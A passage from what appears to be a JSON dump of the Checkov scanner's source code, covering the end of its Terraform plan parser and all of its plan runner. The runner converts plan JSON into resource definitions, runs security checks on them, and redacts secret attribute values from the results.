return False\n\n\ndef _is_list_of_simple_types(obj: Any) -> bool:\n    if not isinstance(obj, list):\n        return False\n    for i in obj:\n        if not _is_simple_type(i):\n            return False\n    return True\n\n\ndef _is_list_of_dicts(obj: Any) -> bool:\n    if not isinstance(obj, list):\n        return False\n    for i in obj:\n        if isinstance(i, dict):\n            return True\n    return False\n\n\ndef _hclify(\n    obj: dict[str, Any],\n    conf: dict[str, Any] | None = None,\n    parent_key: str | None = None,\n    resource_type: str | None = None,\n) -> dict[str, list[Any]]:\n    ret_dict = {}\n\n    if not isinstance(obj, dict):\n        raise Exception(\"this method receives only dicts\")\n\n    if hasattr(obj, \"start_mark\") and hasattr(obj, \"end_mark\"):\n        obj[\"start_line\"] = obj.start_mark.line\n        obj[\"end_line\"] = obj.end_mark.line\n    for key, value in obj.items():\n        if _is_simple_type(value) or _is_list_of_simple_types(value):\n            if parent_key == \"tags\":\n                ret_dict[key] = value\n            else:\n                # only wrap non-lists into a list\n                ret_dict[key] = _clean_simple_type_list([value])\n\n        if _is_list_of_dicts(value):\n            child_list = []\n            conf_val = conf.get(key, []) if conf else []\n            if not isinstance(conf_val, list):\n                # this occurs, when a resource in the current state has no value for that argument\n                conf_val = [conf_val]\n\n            for internal_val, internal_conf_val in itertools.zip_longest(value, conf_val):\n                if isinstance(internal_val, dict):\n                    child_list.append(_hclify(internal_val, internal_conf_val, parent_key=key))\n            if key == \"tags\":\n                ret_dict[key] = [child_list]\n            else:\n                ret_dict[key] = child_list\n        if isinstance(value, dict):\n            child_dict = _hclify(value, parent_key=key)\n            if parent_key == \"tags\":\n                ret_dict[key] = child_dict\n            else:\n                ret_dict[key] = [child_dict]\n    if conf and isinstance(conf, dict):\n        _add_references(obj=obj, conf=conf, return_resource=ret_dict)\n\n    if resource_type and resource_type in RESOURCE_TYPES_JSONIFY:\n        # values shouldn't be encapsulated in lists\n        dict_value = jsonify(obj=obj, resource_type=resource_type)\n        if dict_value is not None:\n            ret_dict[RESOURCE_TYPES_JSONIFY[resource_type]] = force_list(dict_value)\n\n    return ret_dict\n\n\ndef jsonify(obj: dict[str, Any], resource_type: str) -> dict[str, Any] | None:\n    \"\"\"Tries to create a dict from a string of a supported resource type attribute\"\"\"\n\n    jsonify_key = RESOURCE_TYPES_JSONIFY[resource_type]\n    if jsonify_key in obj:\n        try:\n            return cast(\"dict[str, Any]\", json.loads(obj[jsonify_key]))\n        except json.JSONDecodeError:\n            logging.debug(\n                f\"Attribute {jsonify_key} of resource type {resource_type} is not json encoded {obj[jsonify_key]}\"\n            )\n\n    return None\n\n\ndef _prepare_resource_block(\n    resource: dict[str, Any], conf: dict[str, Any] | None, resource_changes: dict[str, dict[str, Any]]\n) -> tuple[dict[str, dict[str, Any]], str, bool]:\n    \"\"\"hclify resource if pre-conditions met.\n\n    :param resource: tf planned_values resource block\n    :param conf: tf configuration resource block\n    :param resource_changes: tf resource_changes block\n    :returns:\n        - resource_block: a list of strings representing the header columns\n        - prepared: whether conditions met to prepare data\n    \"\"\"\n\n    resource_block: Dict[str, Dict[str, Any]] = {}\n    resource_type = resource[\"type\"]\n    resource_block[resource_type] = {}\n    prepared = False\n    mode = \"\"\n    block_type = \"\"\n    if \"mode\" in resource:\n        mode = resource[\"mode\"]\n        block_type = \"data\" if mode == \"data\" else \"resource\"\n\n    # Rare cases where data block appears in resources with same name as resource block and only partial values\n    # and where *_module resources don't have values field\n    if mode in (\"managed\", \"data\"):\n        expressions = conf.get(\"expressions\") if conf else None\n\n        resource_conf = _hclify(\n            obj=resource.get(\"values\", {\"start_line\": 0, \"end_line\": 0}),\n            conf=expressions,\n            resource_type=resource_type,\n        )\n        resource_address: str | None = resource.get(\"address\")\n        resource_conf[TF_PLAN_RESOURCE_ADDRESS] = resource_address  # type:ignore[assignment]  # special field\n\n        changes = resource_changes.get(resource_address)  # type:ignore[arg-type]  # because it can be None\n        if changes:\n            resource_conf[TF_PLAN_RESOURCE_CHANGE_ACTIONS] = changes.get(\"change\", {}).get(\"actions\") or []\n            resource_conf[TF_PLAN_RESOURCE_CHANGE_KEYS] = changes.get(TF_PLAN_RESOURCE_CHANGE_KEYS) or []\n            # enrich conf with after_unknown values\n            _eval_after_unknown(changes, resource_conf)\n\n        provisioners = conf.get(TF_PLAN_RESOURCE_PROVISIONERS) if conf else None\n        if provisioners:\n            resource_conf[\"provisioner\"] = _get_provisioner(provisioners)\n\n        resource_block[resource_type][resource.get(\"name\", \"default\")] = resource_conf\n        prepared = True\n    return resource_block, block_type, prepared\n\n\ndef _eval_after_unknown(changes: dict[str, Any], resource_conf: dict[str, Any]) -> None:\n    after_unknown = changes.get(\"change\", {}).get(TF_PLAN_RESOURCE_AFTER_UNKNOWN)\n    if os.getenv('EVAL_TF_PLAN_AFTER_UNKNOWN') and after_unknown and isinstance(after_unknown, dict):\n        for k, v in after_unknown.items():\n            # We check if the value of the field is True. That would mean its value is known after the apply\n            # We also check whether the field is not already present in the conf since we do not want to\n            # override it. Overriding can actually cause losing its value\n            if v is True and k not in resource_conf:\n                # We set the value to 'true_after_unknown' and not its original value\n                # We need to set a constant other than a boolean (True/\"true\"),\n                # so it will not collide with actual possible values of those attributes\n                # In these cases, policies checking the existence of a value will succeed,\n                # but policies checking for concrete values will fail\n                resource_conf[k] = _clean_simple_type_list([TRUE_AFTER_UNKNOWN])\n            elif isinstance(v, list) and len(v) == 1 and isinstance(v[0], dict):\n                _handle_complex_after_unknown(k, resource_conf, v)\n\n\ndef _handle_complex_after_unknown(k: str, resource_conf: dict[str, Any], v: Any) -> None:\n    \"\"\"\n    Handles a case of an inner key generated with \"after_unknown\" value.\n    Example:\n        `\n        after_unknown: {\n            \"logging_config\": [\n            {\n              \"bucket\": true\n            }\n          ],\n        }\n        `\n    \"\"\"\n    inner_keys = list(v[0].keys())\n    for inner_key in inner_keys:\n        if inner_key in (START_LINE, END_LINE):\n            # skip inner checkov keys\n            continue\n        resource_conf_value = resource_conf[k]\n        if inner_key not in resource_conf_value and isinstance(resource_conf_value, list):\n            for i in range(len(resource_conf_value)):\n                if isinstance(resource_conf_value[i], dict):\n                    _update_after_unknown_in_complex_types(inner_key, resource_conf_value[i])\n                elif isinstance(resource_conf_value[i], list) and isinstance(resource_conf_value[i][0], dict):\n                    _update_after_unknown_in_complex_types(inner_key, resource_conf_value[i][0])\n\n\ndef _update_after_unknown_in_complex_types(inner_key: str, value: dict[str, Any]) -> None:\n    \"\"\"\n    Based on terraform docs, in complex types like list/dict some values might be known while others are not.\n    So when trying to update the info shared from the `after_unknown`, we only want to update the specific items in\n    those objects which are unknown.\n    For example, in the conf:\n    ```\n    \"after\": {\n        \"outer\": [\n            {\"tag1\": 1}\n        ]\n    },\n    \"after_unknown\": {\n        \"outer\": [\n            {},  -> the value is known from the \"after\" section, we don't want to touch it\n            true -> the value is unknown, we want to replace it with `TRUE_AFTER_UNKNOWN`\n        ]\n    }.\n\n    Full result for resource conf:\n    ```\n    \"outer\": [{\"tag1\": 1}, `TRUE_AFTER_UNKNOWN`]\n    ```\n    ```\n    \"\"\"\n    if inner_key not in value:\n        value[inner_key] = _clean_simple_type_list([TRUE_AFTER_UNKNOWN])\n        return\n    inner_value = value[inner_key]\n    if isinstance(inner_value, str) and inner_value.lower() == \"true\":\n        value[inner_key] = _clean_simple_type_list([TRUE_AFTER_UNKNOWN])\n    if isinstance(inner_value, list):\n        for i, v in enumerate(inner_value):\n            if isinstance(v, str) and v.lower() == \"true\":\n                inner_value[i] = _clean_simple_type_list([TRUE_AFTER_UNKNOWN])\n            if isinstance(v, dict):\n                _handle_after_unknown_dict(v)\n    if isinstance(inner_value, dict):\n        for k, v in inner_value.items():\n            if isinstance(v, str) and v.lower() == \"true\":\n                inner_value[k] = _clean_simple_type_list([TRUE_AFTER_UNKNOWN])\n            if isinstance(v, dict):\n                _handle_after_unknown_dict(v)\n    return\n\n\ndef _handle_after_unknown_dict(v: dict[str, Any]) -> None:\n    for k in v.keys():\n        _update_after_unknown_in_complex_types(k, v)\n\n\ndef _find_child_modules(\n    child_modules: ListNode, resource_changes: dict[str, dict[str, Any]], root_module_conf: dict[str, Any]\n) -> dict[str, list[dict[str, dict[str, Any]]]]:\n    \"\"\" Find all child modules if any. Including any amount of nested child modules.\n\n    :param child_modules: list of terraform child_module objects\n    :param resource_changes: a resource address to resource changes dict\n    :param root_module_conf: configuration block of the root module\n    :returns:\n        list of terraform resource blocks\n    \"\"\"\n\n    blocks: dict[str, list[dict[str, dict[str, Any]]]] = {\"resource\": [], \"data\": []}\n    for child_module in child_modules:\n        nested_child_modules = child_module.get(\"child_modules\", [])\n        if nested_child_modules:\n            nested_blocks = _find_child_modules(\n                child_modules=nested_child_modules,\n                resource_changes=resource_changes,\n                root_module_conf=root_module_conf,\n            )\n            for block_type, resource_blocks in nested_blocks.items():\n                blocks[block_type].extend(resource_blocks)\n\n        module_address = child_module.get(\"address\", \"\")\n        module_call_resources = _get_module_call_resources(\n            module_address=module_address,\n            root_module_conf=root_module_conf,\n        )\n\n        for resource in child_module.get(\"resources\", []):\n            module_call_conf = None\n            if module_address and module_call_resources:\n                module_call_conf = next(\n                    (\n                        module_call_resource\n                        for module_call_resource in module_call_resources\n                        if f\"{module_address}.{module_call_resource['address']}\" == (resource[\"address\"].rsplit('[', 1)[0] if resource[\"address\"][-1] == \"]\" else resource[\"address\"])\n                    ),\n                    None\n                )\n\n            resource_block, block_type, prepared = _prepare_resource_block(\n                resource=resource,\n                conf=module_call_conf,\n                resource_changes=resource_changes,\n            )\n            if prepared is True:\n                if block_type == \"resource\":\n                    blocks[\"resource\"].append(resource_block)\n                elif block_type == \"data\":\n                    blocks[\"data\"].append(resource_block)\n    return blocks\n\n\ndef _get_module_call_resources(module_address: str, root_module_conf: dict[str, Any]) -> list[dict[str, Any]]:\n    \"\"\"Extracts the resources from the 'module_calls' block under 'configuration'\"\"\"\n\n    for module_name in module_address.split(\".\"):\n        if module_name == \"module\":\n            # module names are always prefixed with 'module.', therefore skip it\n            continue\n        found_root_module_conf = root_module_conf.get(\"module_calls\", {}).get(module_name, {}).get(\"module\", {})\n        if not found_root_module_conf:\n            sanitized_module_name = _sanitize_count_from_name(module_name)\n            found_root_module_conf = root_module_conf.get(\"module_calls\", {}).get(sanitized_module_name, {}).get(\"module\", {})\n        root_module_conf = found_root_module_conf\n\n    return cast(\"list[dict[str, Any]]\", root_module_conf.get(\"resources\", []))\n\n\ndef _sanitize_count_from_name(name: str) -> str:\n    \"\"\"Sanitize the count from the resource name\"\"\"\n    if re.search(COUNT_PATTERN, name):\n        name_parts = re.split(COUNT_PATTERN, name)\n        if len(name_parts) == 2:\n            return name_parts[0]\n    return name\n\n\ndef _is_provider_key(key: str) -> bool:\n    \"\"\"key is a valid provider\"\"\"\n    return (key.startswith('module.') or key.startswith('__') or key in {'start_line', 'end_line'})\n\n\ndef _get_providers(template: dict[str, dict[str, Any]]) -> list[dict[str, dict[str, Any]]]:\n    \"\"\"Returns a list of provider dicts\"\"\"\n\n    # `providers` should be a list of dicts, one dict for each provider:\n    # [\n    #     {\n    #         \"aws\": {\n    #             \"region\": [\"us-east-1\"],\n    #             . . .\n    #         }\n    #     },\n    #     {\n    #         \"aws\": {\n    #             \"region\": [\"us-west-1\"],\n    #             \"alias\": [\"west\"],\n    #             . . .\n    #         }\n    #     }\n    # ]\n    providers: list[dict[str, dict[str, Any]]] = []\n    provider_config = template.get(\"configuration\", {}).get(\"provider_config\")\n\n    if provider_config and isinstance(provider_config, dict):\n        for provider_key, provider_data in provider_config.items():\n            if _is_provider_key(key=provider_key):\n                # Not a provider, skip\n                continue\n            provider_name = provider_data.get(\"name\")\n            provider_alias = provider_data.get(\"alias\", \"default\")\n            provider_map: dict[str, dict[str, Any]] = {}\n            provider_map[provider_name] = {}\n            provider_map_entry = provider_map[provider_name]\n            for field, value in provider_data.get('expressions', {}).items():\n                if field in LINE_FIELD_NAMES or not isinstance(value, dict):\n                    continue  # don't care about line #s or non dicts\n                expression_value = value.get('constant_value', None)\n                if expression_value:\n                    if isinstance(expression_value, str):\n                        expression_value = [expression_value]\n                    provider_map_entry[field] = expression_value\n            provider_map_entry['start_line'] = [provider_data.get(START_LINE, 1) - 1]\n            provider_map_entry['end_line'] = [provider_data.get(END_LINE, 1)]\n            provider_map_entry[start_line] = [provider_data.get(START_LINE, 1) - 1]\n            provider_map_entry[end_line] = [provider_data.get(END_LINE, 1)]\n            provider_map_entry['alias'] = [provider_alias]\n            provider_map_entry[TF_PLAN_RESOURCE_ADDRESS] = f\"{provider_name}.{provider_alias}\"\n            providers.append(provider_map)\n\n    return providers\n\n\ndef _get_resource_changes(template: dict[str, Any]) -> dict[str, dict[str, Any]]:\n    \"\"\"Returns a resource address to resource changes dict\"\"\"\n\n    resource_changes_map = {}\n    resource_changes = template.get(\"resource_changes\")\n\n    if resource_changes and isinstance(resource_changes, list):\n        for resource in resource_changes:\n            resource_changes_map[resource[\"address\"]] = resource\n            changes = []\n\n            # before + after are None when resources are created/destroyed, so make them safe\n            change_before = resource[\"change\"][\"before\"] or {}\n            change_after = resource[\"change\"][\"after\"] or {}\n\n            for field, value in change_before.items():\n                if field in LINE_FIELD_NAMES:\n                    continue  # don't care about line #s\n                if value != change_after.get(field):\n                    changes.append(field)\n\n            resource_changes_map[resource[\"address\"]][TF_PLAN_RESOURCE_CHANGE_KEYS] = changes\n\n    return resource_changes_map\n\n\ndef _add_references(obj: dict[str, Any], conf: dict[str, Any], return_resource: dict[str, Any]) -> None:\n    \"\"\"Adds references to the resources in the TF plan definition\"\"\"\n\n    for conf_key, conf_value in conf.items():\n        if not isinstance(conf_value, dict) or \"references\" not in conf_value:\n            # only interested in dict with a \"references\" key\n            continue\n\n        ref = next((x for x in conf_value[\"references\"] or [] if not x.startswith((\"var.\", \"local.\"))), None)\n        if ref:\n            if conf_key not in obj:\n                return_resource[conf_key] = [ref]\n            elif obj[conf_key] is None:\n                return_resource[conf_key] = [ref]\n            elif isinstance(obj[conf_key], list) and any(obj_value is None for obj_value in obj[conf_key]):\n                return_resource[conf_key] = [[obj_value for obj_value in obj[conf_key] if obj_value is not None] + [ref]]\n\n            return_resource.setdefault(CustomAttributes.REFERENCES, []).append(conf_value[\"references\"])\n\n\ndef parse_tf_plan(tf_plan_file: str, out_parsing_errors: Dict[str, str]) -> Tuple[Optional[Dict[str, Any]], Optional[List[Tuple[int, str]]]]:\n    \"\"\"\n    :type tf_plan_file: str - path to plan file\n    :rtype: tf_definition dictionary and template_lines of the plan file\n    \"\"\"\n    tf_definition: Dict[str, Any] = {\"provider\": [], \"resource\": [], \"data\": []}\n    template, template_lines = parse(tf_plan_file, out_parsing_errors)\n    if not template:\n        return None, None\n\n    tf_definition[\"provider\"] = _get_providers(template=template)\n\n    resource_changes = _get_resource_changes(template=template)\n\n    for resource in template.get(\"planned_values\", {}).get(\"root_module\", {}).get(\"resources\", []):\n        conf = next(\n            (\n                x\n                for x in template.get(\"configuration\", {}).get(\"root_module\", {}).get(\"resources\", [])\n                if x[\"type\"] == resource[\"type\"] and x[\"name\"] == resource[\"name\"]\n            ),\n            None,\n        )\n        resource_block, block_type, prepared = _prepare_resource_block(\n            resource=resource,\n            conf=conf,\n            resource_changes=resource_changes,\n        )\n        if prepared is True:\n            if block_type == \"resource\":\n                tf_definition[\"resource\"].append(resource_block)\n            elif block_type == \"data\":\n                tf_definition[\"data\"].append(resource_block)\n    child_modules = template.get(\"planned_values\", {}).get(\"root_module\", {}).get(\"child_modules\", [])\n    root_module_conf = template.get(\"configuration\", {}).get(\"root_module\", {})\n    # Terraform supports modules within modules so we need to search\n    # in nested modules to find all resource blocks\n    module_blocks = _find_child_modules(\n        child_modules=child_modules,\n        resource_changes=resource_changes,\n        root_module_conf=root_module_conf,\n    )\n    for block_type, resource_blocks in module_blocks.items():\n        tf_definition[block_type].extend(resource_blocks)\n    return tf_definition, template_lines\n\n\ndef _clean_simple_type_list(value_list: List[Any]) -> List[Any]:\n    \"\"\"\n    Given a list of simple types return a cleaned list of simple types.\n    Converts booleans that are input as strings back to booleans to maintain consistent expectations for later evaluation.\n    Sometimes Terraform Plan will output Map values as strings regardless of boolean input.\n    \"\"\"\n    for i in range(len(value_list)):\n        if isinstance(value_list[i], str):\n            lower_case_value = value_list[i].lower()\n            if lower_case_value == \"true\":\n                value_list[i] = True\n            if lower_case_value == \"false\":\n                value_list[i] = False\n    return value_list\n\n\ndef _get_provisioner(input_data: List[Dict[str, Any]]) -> List[Dict[str, Dict[str, Any]]]:\n    result = []\n    for item in input_data:\n        if 'type' in item and 'expressions' in item:\n            key = item['type']\n            expressions = item['expressions']\n            transformed_expressions = {}\n\n            if key == 'local-exec':\n                if 'command' in expressions:\n                    command_value = expressions['command']\n                    if not isinstance(command_value, list):\n                        command_value = [command_value]\n                    transformed_expressions['command'] = command_value\n\n                for field, value in expressions.items():\n                    if field != 'command':\n                        transformed_expressions[field] = value\n            else:\n                transformed_expressions = expressions\n\n            transformed_item = {key: transformed_expressions}\n            result.append(transformed_item)\n    return result\n"
  },
  {
    "path": "checkov/terraform/plan_runner.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nimport platform\nimport pathlib\nfrom typing import Type, Optional, Any, cast\n\nfrom typing_extensions import TypeAlias  # noqa[TC002]\n\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nfrom checkov.common.graph.checks_infra.registry import BaseRegistry\nfrom checkov.common.typing import LibraryGraphConnector, TFDefinitionKeyType\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.terraform.modules.module_objects import TFDefinitionKey\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_manager import TerraformGraphManager\nfrom checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\nfrom checkov.common.checks_infra.registry import get_graph_checks_registry\nfrom checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes\nfrom checkov.common.output.record import Record\nfrom checkov.common.util.secrets import omit_secret_value_from_checks\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.output.report import Report, merge_reports\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.base_runner import BaseTerraformRunner\nfrom checkov.terraform.checks.data.registry import data_registry\nfrom checkov.terraform.checks.provider.registry import provider_registry\nfrom checkov.terraform.checks.resource.registry import resource_registry\nfrom checkov.terraform.context_parsers.registry import parser_registry\nfrom checkov.terraform.plan_parser import TF_PLAN_RESOURCE_ADDRESS\nfrom checkov.terraform.plan_utils import create_definitions, build_definitions_context, get_entity_id\nfrom checkov.terraform.deep_analysis_plan_graph_manager import DeepAnalysisGraphManager\n\n_TerraformPlanContext: TypeAlias = \"dict[str, dict[str, Any]]\"\n_TerraformPlanDefinitions: TypeAlias = \"dict[str, dict[str, Any]]\"\n\n# set of check IDs with lifecycle condition\nTF_LIFECYCLE_CHECK_IDS = {\n    \"CKV_AWS_217\",\n    \"CKV_AWS_233\",\n    \"CKV_AWS_237\",\n    \"CKV_GCP_82\",\n}\n\nRESOURCE_ATTRIBUTES_TO_OMIT = {\n    'aws_db_instance': ['password'],\n    'aws_secretsmanager_secret_version': ['secret_string'],\n    'aws_ssm_parameter': ['value'],\n    'azurerm_container_registry': ['admin_password'],\n    'azurerm_key_vault_secret': ['value'],\n    'azurerm_linux_virtual_machine': ['admin_password'],\n    'azurerm_mssql_managed_instance_vulnerability_assessment': ['storage_container_path'],\n    'azurerm_mssql_server': ['administrator_login_password'],\n    'azurerm_mssql_server_vulnerability_assessment': ['storage_container_path'],\n    'azurerm_redis_cache': ['primary_access_key', 'secondary_access_key', 'primary_connection_string',\n                            'secondary_connection_string'],\n    'azurerm_sql_server': ['administrator_login_password'],\n    'azurerm_sql_managed_instance': ['administrator_login_password'],\n    'azurerm_storage_account': ['primary_access_key', 'secondary_access_key', 'primary_blob_connection_string',\n                                'secondary_blob_connection_string', 'primary_blob_endpoint', 'primary_blob_host',\n                                'secondary_blob_endpoint', 'secondary_blob_host', 'primary_connection_string',\n                                'secondary_connection_string'],\n    'azurerm_synapse_workspace_vulnerability_assessment': ['storage_container_path'],\n    'azurerm_synapse_sql_pool_vulnerability_assessment': ['storage_container_path'],\n    'azurerm_virtual_machine': ['admin_password'],\n    'azurerm_windows_virtual_machine': ['admin_password'],\n    'google_kms_secret_ciphertext': ['plaintext']\n}\n\n\nclass Runner(BaseTerraformRunner[_TerraformPlanDefinitions, _TerraformPlanContext, str]):\n    check_type = CheckType.TERRAFORM_PLAN  # noqa: CCE003  # a static attribute\n\n    def __init__(self, graph_class: Type[TerraformLocalGraph] = TerraformLocalGraph,\n                 graph_manager: TerraformGraphManager | None = None,\n                 db_connector: LibraryGraphConnector | None = None,\n                 external_registries: list[BaseRegistry] | None = None,\n                 source: str = GraphSource.TERRAFORM) -> None:\n        super().__init__(\n            graph_class=graph_class,\n            graph_manager=graph_manager,\n            db_connector=db_connector,\n            external_registries=external_registries,\n            source=source,\n        )\n        self.file_extensions = ['.json']  # override what gets set from the TF runner\n        self.definitions: _TerraformPlanDefinitions | None = None\n        self.context: _TerraformPlanContext | None = None\n        self.graph_registry = get_graph_checks_registry(check_type=CheckType.TERRAFORM)\n        self.deep_analysis = False\n        self.repo_root_for_plan_enrichment: str | None = None\n        self.tf_plan_local_graph: TerraformLocalGraph | None = None\n\n    block_type_registries = {  # noqa: CCE003  # a static attribute\n        'resource': resource_registry,\n        'data': data_registry,\n        'provider': provider_registry\n    }\n\n    def run(\n            self,\n            root_folder: str | None = None,\n            external_checks_dir: list[str] | None = None,\n            files: list[str] | None = None,\n            runner_filter: RunnerFilter | None = None,\n            collect_skip_comments: bool = True\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        # Update resource_attr_to_omit according to plan runner hardcoded RESOURCE_ATTRIBUTES_TO_OMIT\n        self._extend_resource_attributes_to_omit(runner_filter)\n        self.deep_analysis = runner_filter.deep_analysis\n        if runner_filter.repo_root_for_plan_enrichment:\n            self.repo_root_for_plan_enrichment = os.path.abspath(runner_filter.repo_root_for_plan_enrichment[0])\n        report = Report(self.check_type)\n        parsing_errors: dict[str, str] = {}\n        tf_local_graph: Optional[TerraformLocalGraph] = None\n        if self.definitions is None or self.context is None:\n            self.definitions, definitions_raw = create_definitions(root_folder, files, runner_filter, parsing_errors)\n            self.context = build_definitions_context(self.definitions, definitions_raw)\n            self.tf_plan_local_graph = self.graph_manager.build_graph_from_definitions(self.definitions, render_variables=False)\n            for vertex in self.tf_plan_local_graph.vertices:\n                if vertex.block_type == BlockType.RESOURCE:\n                    address = vertex.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS)\n                    report.add_resource(f'{vertex.path}:{address}')\n            self.graph_manager.save_graph(self.tf_plan_local_graph)\n            if self._should_run_deep_analysis:\n                tf_local_graph = self._create_terraform_graph(runner_filter)\n\n        if external_checks_dir:\n            for directory in external_checks_dir:\n                resource_registry.load_external_checks(directory)\n                self.graph_registry.load_external_checks(directory)\n        if not root_folder:\n            # 'root_folder' and 'files' can't be both empty\n            root_folder = os.path.split(os.path.commonprefix(files))[0]  # type:ignore[arg-type]\n        self.check_tf_definition(report, root_folder, runner_filter)\n        report.add_parsing_errors(parsing_errors.keys())\n\n        if self.definitions:\n            graph_report = self._get_graph_report(\n                root_folder=root_folder,\n                runner_filter=runner_filter,\n                tf_local_graph=tf_local_graph\n            )\n            merge_reports(report, graph_report)\n\n        if runner_filter.run_image_referencer:\n            image_report = self.check_container_image_references(\n                graph_connector=self.graph_manager.get_reader_endpoint(),\n                root_path=root_folder,\n                runner_filter=runner_filter,\n            )\n\n            if image_report:\n                # due too many tests failing only return a list, if there is an image report\n                return [report, image_report]\n\n        return report\n\n    @staticmethod\n    def _extend_resource_attributes_to_omit(runner_filter: RunnerFilter) -> None:\n        for k, v in RESOURCE_ATTRIBUTES_TO_OMIT.items():\n            # It's ok as runner_filter is ALWAYS default dict with set() as value\n            runner_filter.resource_attr_to_omit[k].update(v)\n\n    def _get_graph_report(\n            self,\n            root_folder: str,\n            runner_filter: RunnerFilter,\n            tf_local_graph: Optional[TerraformLocalGraph]\n    ) -> Report:\n        if self._should_run_deep_analysis and tf_local_graph and self.tf_plan_local_graph:\n            deep_analysis_graph_manager = DeepAnalysisGraphManager(tf_local_graph, self.tf_plan_local_graph)\n            deep_analysis_graph_manager.enrich_tf_graph_attributes()\n            self.graph_manager.save_graph(tf_local_graph)\n            graph_report = self.get_graph_checks_report(root_folder, runner_filter)\n            deep_analysis_graph_manager.filter_report(graph_report)\n            return graph_report\n        return self.get_graph_checks_report(root_folder, runner_filter)\n\n    def _create_terraform_graph(self, runner_filter: RunnerFilter) -> TerraformLocalGraph:\n        graph_manager = TerraformGraphManager(db_connector=self.db_connector)\n        tf_local_graph, _ = graph_manager.build_graph_from_source_directory(\n            self.repo_root_for_plan_enrichment,  # type:ignore[arg-type]  # can't be 'None' at this point\n            render_variables=True,\n            download_external_modules=runner_filter.download_external_modules\n        )\n        self.graph_manager = graph_manager\n        return tf_local_graph\n\n    def check_tf_definition(\n        self, report: Report, root_folder: str, runner_filter: RunnerFilter, collect_skip_comments: bool = True\n    ) -> None:\n        if not self.definitions:\n            return\n\n        for full_file_path, definition in self.definitions.items():\n            full_file_path, scanned_file = self._get_file_path(full_file_path, root_folder)\n            logging.debug(f\"Scanning file: {scanned_file}\")\n            for block_type in definition.keys():\n                if block_type in self.block_type_registries.keys():\n                    self.run_block(definition[block_type], self.context, full_file_path, root_folder,\n                                   report, scanned_file, block_type, runner_filter)\n\n    @staticmethod\n    def _get_file_path(full_file_path: TFDefinitionKeyType, root_folder: str | pathlib.Path) -> tuple[str, str]:\n        if isinstance(full_file_path, TFDefinitionKey):\n            # It might be str for terraform-plan files\n            full_file_path = full_file_path.file_path\n        if platform.system() == \"Windows\":\n            temp = os.path.split(full_file_path)[0]\n            scanned_file = f\"/{os.path.relpath(full_file_path, temp)}\"\n        else:\n            scanned_file = f\"/{os.path.relpath(full_file_path, root_folder)}\"\n        return full_file_path, scanned_file\n\n    def run_block(\n        self,\n        entities: list[dict[str, Any]],\n        definition_context: _TerraformPlanContext | None,\n        full_file_path: str,\n        root_folder: str,\n        report: Report,\n        scanned_file: str,\n        block_type: str,\n        runner_filter: RunnerFilter | None = None,\n        entity_context_path_header: str | None = None,\n        module_referrer: str | None = None,\n    ) -> None:\n        runner_filter = runner_filter or RunnerFilter()\n        registry = self.block_type_registries[block_type]\n        if registry:\n            for entity in entities:\n                context_parser = parser_registry.context_parsers[block_type]\n                definition_path = context_parser.get_entity_context_path(entity)\n                # Entity can exist only once per dir, for file as well\n                entity_context = self.get_entity_context(definition_path, full_file_path, entity)\n                entity_lines_range = [entity_context.get('start_line', 1), entity_context.get('end_line', 1)]\n                entity_code_lines = entity_context.get('code_lines', [])\n                _, _, entity_config = registry.extract_entity_details(entity)\n                entity_address = entity_context.get('address') or entity_context.get(CustomAttributes.TF_RESOURCE_ADDRESS)\n                if not entity_address:\n                    logging.warning('tf plan resource address should not be empty')\n                    continue\n\n                self._assign_graph_to_registry(registry)\n                results = registry.scan(scanned_file, entity, [], runner_filter, report_type=CheckType.TERRAFORM_PLAN)\n                for check, check_result in results.items():\n                    if check.id in TF_LIFECYCLE_CHECK_IDS:\n                        # can't be evaluated in TF plan\n                        continue\n                    censored_code_lines = omit_secret_value_from_checks(\n                        check=check,\n                        check_result=check_result,\n                        entity_code_lines=entity_code_lines,\n                        entity_config=entity_config,\n                        resource_attributes_to_omit=runner_filter.resource_attr_to_omit\n                    )\n                    record = Record(\n                        check_id=check.id,\n                        bc_check_id=check.bc_id,\n                        check_name=check.name,\n                        check_result=check_result,\n                        code_block=censored_code_lines,\n                        file_path=scanned_file,\n                        file_line_range=entity_lines_range,\n                        resource=entity_address,\n                        resource_address=entity_address,\n                        evaluations=None,\n                        check_class=check.__class__.__module__,\n                        file_abs_path=full_file_path,\n                        severity=check.severity,\n                        details=check.details,\n                    )\n                    record.set_guideline(check.guideline)\n                    report.add_record(record=record)\n\n    def _assign_graph_to_registry(self, registry: BaseCheckRegistry) -> None:\n        try:\n            registry.graph = self.graph_manager.db_connector.graph  # type: ignore\n        except Exception as e:\n            logging.debug(f'fail to assign graph to the registry, err: {e}')\n            registry.graph = None\n            return\n\n    def get_entity_context_and_evaluations(self, entity: dict[str, Any]) -> dict[str, Any] | None:\n        if not self.context:\n            return None\n\n        entity_id = entity[TF_PLAN_RESOURCE_ADDRESS]\n        raw_context: dict[str, Any] | None = self.context.get(entity[CustomAttributes.FILE_PATH], {}).get(entity_id)\n        if raw_context:\n            raw_context['definition_path'] = entity[CustomAttributes.BLOCK_NAME].split('.')\n        return raw_context\n\n    def get_entity_context(self, definition_path: list[str], full_file_path: str, entity: dict[str, Any]) -> dict[str, Any]:\n        if not self.context:\n            return {}\n\n        if len(definition_path) > 1:\n            resource_type = definition_path[0]\n            resource_name = definition_path[1]\n            resource_type_dict = entity.get(resource_type, {})\n            entity_id = get_entity_id(resource_type_dict, resource_name)\n        else:\n            entity_id = definition_path[0]\n        return cast(\"dict[str, Any]\", self.context.get(full_file_path, {}).get(entity_id, {}))\n\n    @property\n    def _should_run_deep_analysis(self) -> bool:\n        return bool(self.deep_analysis and self.repo_root_for_plan_enrichment and self.tf_plan_local_graph)\n"
  },
  {
    "path": "checkov/terraform/plan_utils.py",
